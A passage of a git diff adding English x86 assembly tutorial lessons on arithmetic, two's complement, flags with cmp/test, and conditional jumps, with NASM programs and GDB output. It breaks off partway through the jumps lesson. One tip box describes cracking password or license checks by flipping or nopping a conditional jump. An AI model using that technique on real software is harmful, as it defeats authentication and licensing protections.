+You can now read every one of these lines: `mov eax, 5` puts down the five, `add eax, 3` adds three on top (eax = 8), `mov ebx, eax` moves the result into the exit code. Assemble, link, and run with the familiar chain:
+
+```
+nasm -f elf32 topla.asm -o topla.o
+ld -m elf_i386 topla.o -o topla
+./topla
+echo $?
+```
+
+What you'll see (in the fish shell, `echo $status`):
+
+```
+8
+```
+
+**There's your first calculation.** You didn't write this `8` directly — the machine did `5 + 3` *itself.* In 06 you were *telling* the machine a number; now you're making it *perform* an operation.
+
+---
+
+## Watch It in GDB: Addition Live
+
+Recall from 06 the "difference between knowing and seeing." Let's watch with our own eyes how `add` changes eax (the habit from 07):
+
+```
+gdb ./topla
+(gdb) set disassembly-flavor intel
+(gdb) starti
+```
+
+First run `mov eax, 5`, then look at eax:
+
+```
+(gdb) si
+(gdb) info registers eax
+```
+```
+eax 0x5 5
+```
+
+`eax` is now `5`. Now for the main event — `add eax, 3`:
+
+```
+(gdb) si
+(gdb) info registers eax
+```
+```
+eax 0x8 8
+```
+
+**There's WORK.** `eax` went from `5` to `8` — the machine added right before your eyes. `add` didn't erase the old 5; it added 3 on top. The "compute in the pocket" step we sketched as a rough draft in 04 you've now done for the first time with a real instruction.
+
+---
+
+## `sub`: Subtraction
+
+Subtraction is addition's sibling: `sub` (English *subtract*). The rule is exactly the same, it just subtracts instead of adds:
+
+```nasm
+sub destination, source ; "destination = destination − source"
+```
+
+`cikar.asm`:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 10 ; eax = 10
+ sub eax, 4 ; eax = 10 − 4 = 6
+ mov ebx, eax
+ mov eax, 1
+ int 0x80
+```
+
+Assemble, link, run, `echo $?`:
+
+```
+6
+```
+
+`10 − 4 = 6`. `add` and `sub` — the worker's two basic calculations. Both follow the same template: "update the target with the source." Addition accumulates, subtraction diminishes.
+
+> 💡 While doing `add`/`sub`, the worker also keeps little notes on the side: "did the result come out zero? did it overflow?" and so on. These notes are called **flags** (*flag*), and we're ignoring them for now — but in the next lesson (10) they'll be the foundation of every *decision* (if, loop). For now, "add adds, sub subtracts" is enough.
+
+---
+
+## `inc` / `dec`: Add One, Subtract One
+
+Two more tiny instructions you'll need very often — to increase or decrease a number by **exactly 1**:
+
+- `inc destination` → increase the target by 1 (*increment*). `inc eax` does the same job as `add eax, 1`.
+- `dec destination` → decrease the target by 1 (*decrement*). `dec eax` = `sub eax, 1`.
+
+`incdec.asm`:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 7 ; 7
+ inc eax ; 8
+ inc eax ; 9
+ dec eax ; 8
+ mov ebx, eax
+ mov eax, 1
+ int 0x80
+```
+
+`echo $?`:
+
+```
+8
+```
+
+`7 → 8 → 9 → 8`. Why a separate instruction? Because "counting one by one" is so common (especially in loops) that the machine gave it a shortcut. While advancing a counter you'll see `inc` constantly.
+
+---
+
+## The Secret of Negative Numbers: Two's Complement
+
+Now we keep the promise we made in 06. There, when we did `mov ebx, -5`, we saw `echo $?` say **251**, and we said "we'll explain how in 09." Here we are in 09.
+
+Let's state the question clearly first. `sub` subtracts — but what happens if the result drops below zero? Let's try. `eksi.asm`: `5 − 8`, that is **−3**.
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 5
+ sub eax, 8 ; eax = 5 − 8 = −3 ... but how does a negative fit in a byte?
+ mov ebx, eax
+ mov eax, 1
+ int 0x80
+```
+
+`echo $?`:
+
+```
+253
+```
+
+**There's the puzzle.** We expected `−3` but got `253`. Asking GDB opens the secret a bit:
+
+```
+(gdb) si # mov eax, 5
+(gdb) si # sub eax, 8
+(gdb) info registers eax
+```
+```
+eax 0xfffffffd -3
+```
+
+Look how nicely: GDB shows `eax` both in its raw form (`0xfffffffd`) and as "this is actually **−3**." So the machine holds `−3` in its memory as `0xFFFFFFFD`. But why does this number mean `−3`?
+
+### Think of it like an odometer
+
+When a car's odometer is at `000` and you go **back** one, what happens? It rolls over to `999`. That's exactly the machine's negative logic: **one back from 0 = the very top.**
+
+For a single byte (0–255):
+
+```
+ 0 − 1 → 255 (that is, 255 means "−1")
+ 0 − 2 → 254 ( "−2")
+ 0 − 3 → 253 ( "−3") ← our result!
+```
+
+Just as a number wraps from the bottom when it overflows upward (06: `300 → 44`), when it overflows downward into the negatives it wraps from the **top**. `5 − 8` gives `253`, which corresponds to `−3`. The `−5 → 251` in 06 is exactly this: `−5` = `256 − 5` = `251`.
+
+### The recipe: flip the bits, add 1
+
+There's a short way to produce a number's negative — **flip all the bits, then add 1.** For `3` (as a byte):
+
+```
+ 3 = 0000 0011
+ bits flipped = 1111 1100 (0xFC)
+ + 1 = 1111 1101 (0xFD = 253 = −3)
+```
+
+So the byte form of `−3` is `0xFD` (253). In 32 bits the same trick is written longer: `0xFFFFFFFD` — exactly what GDB showed above. The name of this "flip + add 1" trick is **two's complement**.
+
+### Why is it so clever? Because there's no such thing as subtraction
+
+Here's the beautiful part, and the peak of 01's theme that "the machine is actually very simple": the machine has **no** separate "subtraction circuit." Subtraction is just **adding the negative.** `5 − 3`, in the machine's eyes, is `5 + (−3)`.
+
+Let's prove it. We said the byte form of `−3` is `253` (in 32 bits, `0xFFFFFFFD`). Then, instead of `5 − 3`, if we directly **add** `0xFFFFFFFD` to `5`, we should also get `2`. `negekle.asm`:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 5
+ add eax, 0xFFFFFFFD ; 5 + (−3 in two's complement form)
+ mov ebx, eax
+ mov eax, 1
+ int 0x80
+```
+
+`echo $?`:
+
+```
+2
+```
+
+**There's the proof.** We didn't write `sub eax, 3` — we added `−3` with `add`, and `5 − 3 = 2` came out. So `sub`, behind the curtain, is nothing more than "add the negative." The machine both adds and subtracts with a single addition circuit; two's complement is the trick that makes it possible.
+
+> 🔑 The machine holds a negative number with **two's complement**: flip the bits + add 1 (`−3` → `0xFD`/`0xFFFFFFFD`). A number that overflows downward wraps from the top (`0−3 → 253`), just like an odometer — this is the answer to the `−5 → 251` puzzle from 06. And the real beauty: subtraction isn't a separate job, it's just **adding the negative** — the machine does both with a single addition circuit.
+
+> 💡 **You might be wondering:** *"How does the machine know whether `253` is `−3` or really `253`?"* It doesn't — and this should feel familiar, because it's [01.5_sayi_ve_anlam](./01.5_sayi_ve_anlam.md) itself: the same bit sequence is `253` in one instruction's eyes and `−3` in another's. The difference is decided by the instruction that says whether to read the number as **signed or unsigned** (GDB, in saying "−3" above, chose the signed reading). The same number, two meanings; the meaning is again given by the code.
+
+---
+
+## The Whole Dance: FETCH → WORK → DROP
+
+Now all three steps are in your hands. In 04 we sketched exactly this task as a rough draft:
+
+```
+ Task: add the number in box 100 to the number in box 200, write the result to box 300.
+ FETCH: box 100 → EAX
+ WORK : add box 200 on top
+ DROP : write the result back to the box
+```
+
+Back then we said "we'll see the real instructions later." Here they all are, ready. `dans.asm`:
+
+```nasm
+section .data
+ a: dd 100
+ b: dd 200
+ sonuc: dd 0
+
+section .text
+ global _start
+
+_start:
+ mov eax, [a] ; FETCH: pull a into the pocket (eax = 100)
+ add eax, [b] ; WORK : add b on top (eax = 300)
+ mov [sonuc], eax ; DROP : drop the result into storage
+ mov eax, 1
+ mov ebx, 0
+ int 0x80
+```
+
+A small nicety: in `add eax, [b]` we read the operand **directly from memory** — without first pulling it into the pocket with a separate `mov`. In 04 we made an honest note that "x86 sometimes allows a shortcut, you can touch a memory box directly" — well, this is that shortcut.
+
+Let's watch the dance step by step in GDB:
+
+```
+gdb ./dans
+(gdb) set disassembly-flavor intel
+(gdb) starti
+(gdb) si # FETCH mov eax, [a]
+(gdb) si # WORK add eax, [b]
+(gdb) si # DROP mov [sonuc], eax
+(gdb) x/1dw &sonuc
+```
+
+The real output, step by step:
+
+```
+FETCH → eax = 100 (a came from memory into the pocket)
+WORK → eax = 300 (b added on top: 100 + 200)
+DROP → x/1dw &sonuc = 300 (result written to storage)
+```
+
+**There's the whole dance.** That picture we sketched from afar in 04 — pull from storage, add in the pocket, drop back to storage — has now turned in your own hands, with real instructions. Everything we called "later" in Unit 0 has come down to here, to a single working program.
+
+> 🔑 `mov [a]` (FETCH) → `add [b]` (WORK) → `mov [sonuc]` (DROP): the whole fetch-work-drop dance of 04, with real instructions. A program is most often a repetition of this skeleton: pull the data, compute on it, store the result.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ add destination, source = destination + source → destination. (mov PUTS, add ADDS: doesn't erase the old, piles on top.)
+ - mov eax,5 + add eax,3 → eax = 8. (the WORK step: 04's missing piece)
+☐ sub destination, source = destination − source → destination. (10 − 4 = 6.)
+☐ inc / dec = increase / decrease by exactly 1. inc eax ≡ add eax,1 ; dec eax ≡ sub eax,1. (common in counters.)
+☐ Negative numbers = TWO'S COMPLEMENT: flip the bits + add 1. −3 → 0xFD (byte) / 0xFFFFFFFD (32-bit).
+ - Downward overflow wraps from the top: 0−3 → 253. (the answer to 06's −5→251.) Since the exit code is a byte, 5−8 → 253.
+ - Subtraction is NOT a separate job: sub = "add the negative." The machine does both with a single addition circuit.
+ Proof: add eax, 0xFFFFFFFD (i.e. +(−3)) → 2 comes out of 5.
+☐ add/sub also keep "flags" on the side (is it zero, did it overflow) → the foundation of decisions, in lesson 10.
+☐ The whole dance (dans.asm): mov [a] (FETCH) → add [b] (WORK) → mov [sonuc] (DROP) → sonuc = 300.
+ 04's 100+200→300 example, now real and working. This is the skeleton of programs.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [04_bellek_ve_registerlar.md](./04_bellek_ve_registerlar.md) — where the "FETCH → WORK → DROP" dance was sketched; this lesson fills in its **WORK** step
+- [06_ilk_gercek_program.md](./06_ilk_gercek_program.md) — `mov` and the exit code; where the `−5 → 251` puzzle was asked (and here answered)
+- [08_mov_ve_bellek.md](./08_mov_ve_bellek.md) — the **FETCH** and **DROP** steps of the dance; reaching into memory with `[...]`
+- [01.5_sayi_ve_anlam.md](./01.5_sayi_ve_anlam.md) — "Same number, different meaning": the root of the `253` or `−3`? question
+- [07_gdb_tek_adim.md](./07_gdb_tek_adim.md) — watching live what an instruction does with `si` + `info registers`
+
+---
+
+**Previous topic:** [08.5_little_endian.md](./08.5_little_endian.md)
+**Next topic:** [10_bayraklar_ve_cmp.md](./10_bayraklar_ve_cmp.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/10_bayraklar_ve_cmp.md b/docs/eng/konu_anlatimlari/x86_assembly/10_bayraklar_ve_cmp.md
new file mode 100644
index 0000000..8105206
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/10_bayraklar_ve_cmp.md
@@ -0,0 +1,245 @@
+# 🚩 x86 Assembly — Flags and `cmp`: How the Worker Prepares a Decision
+
+> At the end of 09 we made a small promise: while the worker does `add`/`sub` it keeps notes on the side — *"did the result come out zero? was it negative?"* — and these notes are called **flags**; we said "the foundation of every decision is in 10." Here we are, in 10.
+> But careful: this lesson does not *make* the decision. The decision will be made by the next lesson (11, the jumps). Here we build the **raw material** of the decision — because before the machine can decide on something, it has to *note* it down somewhere. That notebook is the flags.
+
+> **This lesson has code, and we run all of it.** Every program and every GDB output below is real: I compiled and ran them on my own machine, and the `eflags` lines you see are not made up.
+
+---
+
+## 📋 Table of Contents
+
+- [What Is a Flag? The Worker's Margin Note](#what-is-a-flag-the-workers-margin-note)
+- [`cmp`: Compare Without Destroying the Value](#cmp-compare-without-destroying-the-value)
+- [Three Cases: Equal, Greater, Less](#three-cases-equal-greater-less)
+- [A Common Shortcut: `test eax, eax`](#a-common-shortcut-test-eax-eax)
+- [A Flag Alone Does Nothing](#a-flag-alone-does-nothing)
+
+---
+
+## What Is a Flag? The Worker's Margin Note
+
+In 09 you had a calculation done: `add eax, 3`. As the worker did it, even if you didn't ask, it put a few marks into a tiny notebook on the side:
+
+- *"Did this operation's result come out to exactly **zero**?"*
+- *"Is the result **negative** (is the top bit 1)?"*
+- *"Did the number overflow, was there a carry?"*
+
+Each of these marks is a single **bit** — either on (1) or off (0). Their name is **flag**. After every `add`/`sub`/`cmp` the worker updates these flags **automatically**; you don't have to give an extra order, when the job is done it writes into the notebook on its own.
+
+All the flags sit side by side in a single special register: **`eflags`**. In 04.5 we saw that a register is "the same bits, a different window"; `eflags` is a register too, but each bit inside it has a **separate meaning** — one is "zero?", one is "negative?", and so on.
+
+Right now only **two** of them concern us:
+
+| Flag | Abbreviation | What it says | When it becomes 1 |
+|:---:|:---:|---|---|
+| Zero flag | **ZF** (*Zero Flag*) | "Is the result zero?" | When the result comes out exactly **0** |
+| Sign flag | **SF** (*Sign Flag*) | "Is the result negative?" | When the top bit of the result is **1** (that is, negative) |
+
+> 🔑 A **flag** = a single bit in the `eflags` register; the margin note the worker keeps about the result of a calculation. **ZF** = "the result was zero", **SF** = "the result was negative". `add`/`sub`/`cmp` update these on their own.
+
+---
+
+## `cmp`: Compare Without Destroying the Value
+
+The first step of making a decision is to **compare**: "are these two numbers equal? which is bigger?" So how do you compare two numbers? With a familiar trick: **subtract** one from the other and look at the result.
+
+- If the difference is **zero** → they are equal.
+- If the difference is **negative** → the first one is smaller.
+
+But there's a problem. If you do `sub eax, ebx`, eax's **old value is destroyed** — you wrote the result over it. But usually you want to use the number you compared *afterwards* too; you don't want to throw it in the trash just to take a look.
+
+This is exactly what `cmp` (from *compare*) is for: **it does the subtraction, but doesn't write the result anywhere — it only sets the flags.**
+
+```nasm
+cmp eax, ebx ; internally computes eax - ebx, DISCARDS THE RESULT, only sets ZF/SF
+```
+
+So `cmp` is `sub`'s "value-preserving" sibling: it does the same subtraction, but the only trace it leaves is the **flags**. Let's prove it. `esit.asm` — let's compare two equal numbers:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 7
+ mov ebx, 7
+ cmp eax, ebx ; 7 - 7 = 0 → ZF should turn on
+ mov eax, 1
+ mov ebx, 0
+ int 0x80
+```
+
+Assemble, run (with the 07 habit, we'll look in GDB):
+
+```
+nasm -f elf32 esit.asm -o esit.o
+ld -m elf_i386 esit.o -o esit
+```
+
+Let's run `cmp` and look at both the flags and eax/ebx:
+
+```
+gdb ./esit
+(gdb) set disassembly-flavor intel
+(gdb) starti
+(gdb) si # mov eax, 7
+(gdb) si # mov ebx, 7
+(gdb) si # cmp eax, ebx
+(gdb) info registers eflags
+(gdb) info registers eax ebx
+```
+
+Real output:
+
+```
+eflags 0x246 [ PF ZF IF ]
+eax 0x7 7
+ebx 0x7 7
+```
+
+Notice two things at once:
+
+1. **`ZF` is there** — inside the square brackets. Because `7 - 7 = 0`, the worker jotted down the "result is zero" note. The flag turned on.
+2. **eax is still 7, ebx is still 7.** `cmp` compared the numbers but **broke neither of them.** You compared without destroying the value — that's the whole talent of `cmp`.
+
+If you'd written `sub eax, ebx` to compare, ZF would still turn on, **but** eax would become `0` — you'd lose the 7. If you tried the same program with `sub` instead of `cmp`, you'd see eax as `0` in GDB. `cmp` = "subtract but don't touch the value."
+
+> 🔑 `cmp a, b` internally does `a - b` but **writes the result nowhere** — it only sets the flags (ZF/SF). It's `sub`'s value-preserving sibling: the number you compared stays in place. This is the standard way to compare.
+
+> 💡 **You might be wondering:** *"the eflags output also has `PF` and `IF` — what are those?"* GDB shows **all** of the flags that are on in `eflags`; not all of them are ours. `IF` (interrupt flag) is on almost all the time, it's about the operating system, it doesn't concern you. `PF` (parity) is also off-topic for now. In this lesson, follow only **ZF** and **SF**; ignore the rest. (Remember 00's promise: there's no hidden business here — only "not needed for now.")
+
+---
+
+## Three Cases: Equal, Greater, Less
+
+A comparison has three possible outcomes: equal, the first is greater, the first is smaller. We'll distinguish all three with the same `cmp` — the only difference being which flags turn on. Let's run all three programs and look at `eflags` (all of them are identical to the `esit.asm` skeleton above, only the numbers change).
+
+**Equal** — `cmp 7, 7` (the `esit` above):
+
+```
+eflags 0x246 [ PF ZF IF ] → ZF on
+```
+
+**First is greater** — `buyuk.asm`, `cmp 9, 4` (difference `+5`, positive):
+
+```
+eflags 0x206 [ PF IF ] → neither ZF nor SF
+```
+
+**First is smaller** — `kucuk.asm`, `cmp 4, 9` (difference `-5`, negative):
+
+```
+eflags 0x293 [ CF AF SF IF ] → SF on
+```
+
+Let's put it in a table — this is the core of the decision logic:
+
+| Comparison | Internal difference | ZF | SF | What it means |
+|---|:---:|:---:|:---:|---|
+| `cmp 7, 7` | 0 | **1** | 0 | **equal** (difference zero) |
+| `cmp 9, 4` | +5 | 0 | 0 | first is **greater** (difference positive) |
+| `cmp 4, 9` | −5 | 0 | **1** | first is **smaller** (difference negative) |
+
+It reads very simply:
+
+- If **ZF = 1**, the two numbers are **equal** (because the difference is zero).
+- If **ZF = 0, SF = 1**, the first number is **smaller** (the difference dropped below zero. Negative numbers like `0xFFFFFFFD` from 09 always start with the leftmost bit; in two's complement the **top bit = the "is it negative" mark** — and SF simply copies that bit).
+- If **ZF = 0, SF = 0**, the first number is **greater** (the difference is positive, not zero).
+
+This is how the worker "remembers" the "which is bigger" question: it doesn't actually remember — it just leaves two bits, and you (or rather, the next instruction) look at those two bits and read the decision.
+
+> 💡 **You might be wondering:** *"in `cmp 4, 9`, `CF` and `AF` also turned on — do I have to read those too?"* No, not for now. Also, an honest warning: the rule "if SF is on, the first is smaller" works cleanly here, but for **very large** numbers (in the edge cases where overflow gets involved) SF alone can mislead you. Good news: you'll **never** have to work out this subtlety by hand — instructions like `jl` ("jump if less") and `jg` ("jump if greater"), which you'll meet in lesson 11, know the correct flag combination *themselves*. So you won't compute the "which is bigger" decision flag by flag; `cmp` sets it, the jump instruction reads it correctly. For now it's enough that you see the picture.
+
+---
+
+## A Common Shortcut: `test eax, eax`
+
+There's one comparison you need very, very often: *"is this register zero?"* (Did a counter finish, is a result empty, is a flag value 0...) You could do it with `cmp eax, 0` — but in assembly almost everyone writes this instead:
+
+```nasm
+test eax, eax ; "is eax zero?" → if zero, ZF=1
+```
+
+`test`, like `cmp`, is an instruction that "discards the result and only sets flags." When `test eax, eax` is used, its practical result is one sentence: **if eax is zero, ZF turns on, otherwise it stays off.** (By the way: `test eax, eax` actually sets SF too — if eax is negative, SF=1 — but in this "is it zero" shortcut we only look at ZF.) Let's see it with two programs.
+
+`testsifir.asm` (eax = 0):
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 0
+ test eax, eax ; is eax zero? → ZF=1
+ mov eax, 1
+ mov ebx, 0
+ int 0x80
+```
+
+`testdolu.asm` — the only difference is `mov eax, 42`. In both, `eflags` after `test`:
+
+```
+testsifir (eax=0) → eflags [ PF ZF IF ] → ZF ON (eax was zero)
+testdolu (eax=42) → eflags [ IF ] → no ZF (eax was non-empty)
+```
+
+This is the standard form of the "is it zero?" test: `test eax, eax` → look at ZF. You'll see this all over the place in loop counters and "is it empty or full" checks.
+
+> 💡 **You might be wondering:** *"what does `test` do internally, exactly? Why do we write `eax, eax` twice?"* The operation inside `test` is a **bit operation** (`and`) and we haven't seen it yet — so I'll leave the mechanism as a closed box for now: **we'll open it fully in lesson 13 (`and`/`or`/`xor`).** The only thing you need in this lesson is its function: `test eax, eax` asks "is eax zero" and puts the answer in ZF. (Why this instead of `cmp eax, 0`? Because it's shorter/faster — but the reason belongs to 13.)
+
+---
+
+## A Flag Alone Does Nothing
+
+Let's be honest: the programs in this lesson actually **did nothing.** We compared, flags turned on — but then what? The program just flowed straight down again and exited. A flag turning on, on its own, did **not** change the program's behavior.
+
+And that's exactly what's expected. Because a flag is not the decision **itself**, it's the decision's **raw material**. Think of the chain like this:
+
+```
+ cmp / test → SETS the flag (this lesson: 10)
+ ↓
+ jz / jnz / jl / jg → READS the flag and JUMPS somewhere accordingly (next lesson: 11)
+```
+
+Up to now we've always told the worker "advance in order, line by line" — the program is a single path from top to bottom. In the next lesson, for the first time, we'll **break** that straight path: "if ZF is on jump over there, otherwise keep going from here." That moment — the program branching onto **different paths** depending on whether a flag is on or off — is the very thing we call a computer "making a decision." And without the flags you set today, that decision is impossible.
+
+> 🔑 `cmp`/`test` **set**, the jump instructions **read.** A flag is the bridge that carries the "was it equal / was it greater" information from one instruction to the next. On its own it doesn't change the program; the jumps in 11 bring it to life. That's why there's no 11 without 10.
+
+---
+
+## Summary — Keep in Mind
+
+```
+☐ FLAG = a single bit in the eflags register; the worker's margin note about the result of a calculation.
+ add / sub / cmp / test update these ON THEIR OWN.
+☐ Two flags matter in this lesson:
+ - ZF (Zero Flag) → 1 when the result is EXACTLY ZERO. "equal? / zero?"
+ - SF (Sign Flag) → 1 when the result is NEGATIVE (top bit 1). "negative?" (09's two's complement)
+☐ cmp a, b = internally does a - b, DISCARDS THE RESULT, only sets the flags.
+ - sub's value-preserving sibling: the number you compared is not corrupted (after cmp 7,7 eax is still 7).
+☐ Three cases (cmp a, b):
+ - ZF=1 → a == b (equal)
+ - ZF=0, SF=0 → a > b (first is greater)
+ - ZF=0, SF=1 → a < b (first is smaller) [the subtlety for very large numbers is 11's jl/jg's job]
+☐ test eax, eax = the "is eax zero?" shortcut → if zero, ZF=1. (The mechanism inside: and, in 13.)
+☐ GDB: info registers eflags → shows the on flags as [ ... ZF ... SF ... ].
+ IF/PF/CF/AF may also appear; for now follow ONLY ZF and SF.
+☐ A flag alone doesn't change the program: cmp/test SET → the jump instructions in 11 READ and decide.
+```
+
+---
+
+## 🔗 Related Topics
+
+- [09_aritmetik.md](./09_aritmetik.md) — this is where we promised that `add`/`sub` "keep a note on the side" (the flag) and two's complement (SF's "negative" meaning); here are those notes
+- [04.5_registerin_ici.md](./04.5_registerin_ici.md) — `eflags` is a register too; another face of the "same bits, different meanings" idea
+- [01.5_sayi_ve_anlam.md](./01.5_sayi_ve_anlam.md) — A single bit means nothing on its own; the instruction that uses it (ZF = "was zero") gives it meaning
+- [07_gdb_tek_adim.md](./07_gdb_tek_adim.md) — watching live, with `si` + `info registers`, how an instruction changes the flags
+
+---
+
+**Previous topic:** [09_aritmetik.md](./09_aritmetik.md)
+**Next topic:** [11_ziplamalar.md](./11_ziplamalar.md)
+
+*This guide is part of the [waitaseC137/linux_learning](https://github.com/waitaseC137/linux_learning) repository.*
diff --git a/docs/eng/konu_anlatimlari/x86_assembly/11_ziplamalar.md b/docs/eng/konu_anlatimlari/x86_assembly/11_ziplamalar.md
new file mode 100644
index 0000000..29c2ac5
--- /dev/null
+++ b/docs/eng/konu_anlatimlari/x86_assembly/11_ziplamalar.md
@@ -0,0 +1,259 @@
+# 🔀 x86 Assembly — Jumps: Making the Worker Decide
+
+> In 10 we set flags, but we admitted honestly: **nothing happened.** `cmp` set a flag, and the program still flowed straight down. We said, "the flag is raw material; the instructions that read it and decide come in 11."
+> Here are those instructions: **jumps.** In this lesson, for the first time, we'll break the program's straight top-to-bottom path — "if that flag is set, go here; otherwise keep going from here." What we call a computer "making a decision" is exactly this.
+
+> **This lesson has code, and we run all of it.** Every program, every exit code, and every GDB output below is real: I assembled and ran them on my own machine.
+
+---
+
+## 📋 Table of Contents
+
+- [Breaking the Straight Path: `jmp`](#breaking-the-straight-path-jmp)
+- [Conditional Jump: `jz` and `jnz`](#conditional-jump-jz-and-jnz)
+- [Jump by Ordering: `jl` and `jg`](#jump-by-ordering-jl-and-jg)
+- [Putting It Together: Even or Odd?](#putting-it-together-even-or-odd)
+
+---
+
+## Breaking the Straight Path: `jmp`
+
+Up to now, the worker always did the same thing: start from the topmost instruction, go **line by line downward**, exit at the very end. One path, one direction. That's the first rule we'll break.
+
+The simplest jump instruction is `jmp` (from *jump*): **"don't continue from here, go to that point."** But how do we point out "that point"? With a **label**. You already know labels: `_start:` was a label — the colon (`:`) at its end makes it "a name for this point in memory." We can place our own labels exactly the same way.
+
+`atla.asm` — with `jmp` we **jump over** an instruction:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov ebx, 1
+ jmp bitir ; break the straight path → skip below
+ mov ebx, 99 ; SKIPPED — this line is never reached
+bitir:
+ mov eax, 1
+ int 0x80
+```
+
+The logic is this: we put 1 in `ebx`, then we say `jmp bitir`. The worker leaps straight to the `bitir:` label — the `mov ebx, 99` sitting in between **never runs.** So the exit code should be 1, not 99. Assemble, run:
+
+```
+nasm -f elf32 atla.asm -o atla.o
+ld -m elf_i386 atla.o -o atla
+./atla
+echo $?
+```
+
+```
+1
+```
+
+**99 is gone, 1 came back.** `mov ebx, 99` is right there, in plain sight — but it didn't run, because `jmp` jumped over it. For the first time an instruction changed *which instruction was up next* in the program.
+
+Let's see this with our own eyes in GDB, as in 07. The worker's "where am I right now" indicator was `eip` (04.5/07); let's watch it step by step:
+
+```
+gdb ./atla
+(gdb) set disassembly-flavor intel
+(gdb) starti
+(gdb) x/i $eip # which instruction now?
+(gdb) si
+(gdb) x/i $eip
+(gdb) si
+(gdb) x/i $eip
+```
+
+Real output:
+
+```
+=> 0x8049000 <_start>: mov ebx,0x1
+=> 0x8049005 <_start+5>: jmp 0x804900c
+=> 0x804900c : mov eax,0x1
+```
+
+Notice the addresses. `jmp` is at `0x8049005`. On the next step, `eip` jumped to `0x804900c` (`bitir`). So what was at `0x8049007` in between? Exactly `mov ebx, 99` (`0x63` = 99). **`eip` never visited there** — straight from 0x8049005 to 0x804900c. That's what "jumping over" is: the worker's step indicator never even saw that address.
+
+> 🔑 `jmp etiket` = "change the next instruction: continue from `etiket`." It forcibly moves the worker's "where am I" indicator (`eip`) to that point; the instructions in between are **skipped**, they never run. Label = a name you give to a point in memory (like `_start:`).
+
+> ⚠️ `jmp` is **unconditional** — it doesn't look at any flag or anything, it *always* jumps. On its own it's not much use (in fact, used carelessly, it makes an infinite loop). Its real power comes together with its **conditional** siblings, which you'll see in a moment: "if you meet the condition, jump; if not, keep going straight."
+
+---
+
+## Conditional Jump: `jz` and `jnz`
+
+`jmp` always jumped. What we really want is to jump **conditionally**: "if the previous result was zero, go there." This is exactly where the flags we set in 10 come into play.
+
+The first conditional-jump pair reads **ZF** (the zero flag) directly:
+
+- `jz etiket` → **jump if zero:** if ZF is set (the result was zero), jump; otherwise keep going straight.
+- `jnz etiket` → **jump if not zero:** if ZF is clear (the result was not zero), jump.
+
+Recall the chain — the bridge from 10: **`cmp`/`test` sets → `jz`/`jnz` reads.** Now let's put the two side by side and write our first real "decision-making" program. `sifirmi.asm` — a **different** exit code depending on whether a number is zero:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 0
+ test eax, eax ; is eax zero? (from 10: if zero, ZF=1)
+ jz sifir ; if ZF set → jump to 'sifir' label
+ mov ebx, 200 ; reached only if NOT zero
+ jmp bitir
+sifir:
+ mov ebx, 100 ; reached only if ZERO
+bitir:
+ mov eax, 1
+ int 0x80
+```
+
+Follow the path: `test eax, eax` sets the flag. Then `jz sifir` — if ZF is set, it jumps to `sifir:` (`ebx = 100`); if it's not set, it doesn't jump, it keeps going straight (`ebx = 200`, then `jmp bitir` skips the `sifir` block below). Two separate paths, both merging at `bitir`.
+
+Let's run it with `mov eax, 0` (zero):
+
+```
+100
+```
+
+Now change a single line — `mov eax, 5` (not zero) — reassemble, run:
+
+```
+200
+```
+
+**Here's your first decision.** The same program behaved **differently** when just one number changed: 100 if zero, 200 if not. The program's flow is no longer a straight line — depending on the input, it **forked**. `test` set the flag, `jz` read it and chose the path.
+
+> 🔑 `jz` (jump if ZF is set) and `jnz` (jump if ZF is clear) are the conditional jumps that read the ZF from 10. The pattern is always the same: **first set the flag with `cmp`/`test`, then immediately conditional-jump.** This pair is the machine-language equivalent of saying "if ...".
+
+> 💡 **You might be wondering:** *"`jz` is a slightly odd name for equality — why does 'jump if zero' mean 'jump if equal'?"* Because `cmp a, b` was doing `a - b` inside (10); and if `a == b`, the difference is **zero**, so ZF gets set. So the question "are they equal" is really the question "is the difference zero." That's why `jz` also has the name **`je`** (*jump if equal*) — the two are **exactly the same instruction**, just two different readings. Likewise `jnz` = **`jne`** (*jump if not equal*). Writing `je`/`jne` after `cmp` and `jz`/`jnz` after `test` is purely a readability preference.
+
+> 💡 **Where it comes in handy:** the classic way to crack a program's password/license check is to find exactly this `cmp`/`test` + `jz` pair in the disassembly — then you either flip the `jz` to a `jnz` or `nop` out the jump; that way the "wrong password" branch behaves as if it were "correct." So the pattern you *write* by hand today is what reverse engineering *takes apart.* Breaking a "decision" = changing the conditional jump it rests on. This is also the first brick of the binary exploitation we'll return to in 20.
+
+---
+
+## Jump by Ordering: `jl` and `jg`
+
+ZF only lets us ask "equal or not." But most of the time we want to ask **which one is bigger**. In 10 the hint for that was in SF, but we left an honest warning: the "which is bigger" rule has a subtlety with very large numbers, and you **won't need to solve it by hand**, because the jump instructions themselves know the right flag combination. Here are those instructions:
+
+- `jl etiket` → **jump if less:** after `cmp a, b`, jump if `a < b`.
+- `jg etiket` → **jump if greater:** jump if `a > b`.
+
+(Alongside them are `jle` = "less than or equal" and `jge` = "greater than or equal"; same family.) You just write `cmp a, b` and say `jl`/`jg`; which flag to check and how is the instruction's own job.
+
+Let's write a program that finds the **larger** of two numbers — `enbuyuk.asm`:
+
+```nasm
+section .text
+ global _start
+
+_start:
+ mov eax, 12 ; first number
+ mov ecx, 30 ; second number
+ cmp eax, ecx ; eax - ecx → set the flags
+ jg eax_buyuk ; if eax > ecx, jump
+ mov ebx, ecx ; if reached here, ecx is the larger
+ jmp bitir
+eax_buyuk:
+ mov ebx, eax ; eax was the larger
+bitir:
+ mov eax, 1
+ int 0x80 ; exit code = the larger number
+```
+
+`cmp eax, ecx` compares the two numbers (without altering their values — 10). `jg` jumps to `eax_buyuk` if eax is bigger (`ebx = eax`); otherwise it doesn't jump, and `ebx = ecx`. Both paths put the larger number in `ebx`. With `12` and `30`:
+
+```
+30
+```
+
+Make the numbers `mov eax, 40` / `mov ecx, 30` and run again:
+
+```
+40
+```
+
